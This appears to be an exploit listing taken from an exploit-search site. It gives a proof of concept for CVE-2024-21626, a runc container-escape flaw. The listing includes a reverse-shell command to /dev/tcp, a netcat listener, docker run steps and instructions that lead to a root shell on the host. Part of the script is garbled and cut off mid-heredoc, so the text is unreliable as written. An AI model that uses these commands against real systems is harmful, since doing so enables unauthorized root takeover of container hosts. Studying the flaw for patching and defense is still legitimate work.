Exploit for File Descriptor Leak in Linuxfoundation Runc

## https://sploitus.com/exploit?id=5A694B5E-BF42-5EF6-BCE0-A46771FB1C57
# CVE-2024-21626
POC

# Requirements
## runc 1.1.0  /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0>&1
EOF

# listen and wait for reverse shell
nc -lvvp 1337
```

## Run the container image and execute poc.sh in a bash shell
```
docker run -it --rm cve2024 bash /poc.sh
```

## Container enters listening mode
![lytte](https://github.com/KubernetesBachelor/CVE-2024-21626/assets/110845662/d4373d7e-3efb-49ce-ad6a-041befaa6b8c)

## A new script has been made in root at the host machine named 'bash.copy' in the directory ```/proc/self/cwd/../../../bin/```
![bash](https://github.com/KubernetesBachelor/CVE-2024-21626/assets/110845662/06c20037-d198-421d-b115-f8ca4c11b257)
## By making the script executable and running it...
```
chmod +x bash.copy
./bash.copy
```
## ... you will aquire a reverse shell with root privileges on the host machine
![root](https://github.com/KubernetesBachelor/CVE-2024-21626/assets/110845662/136de911-d58f-462d-ab94-1f5ca19d0376)
# Source
https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0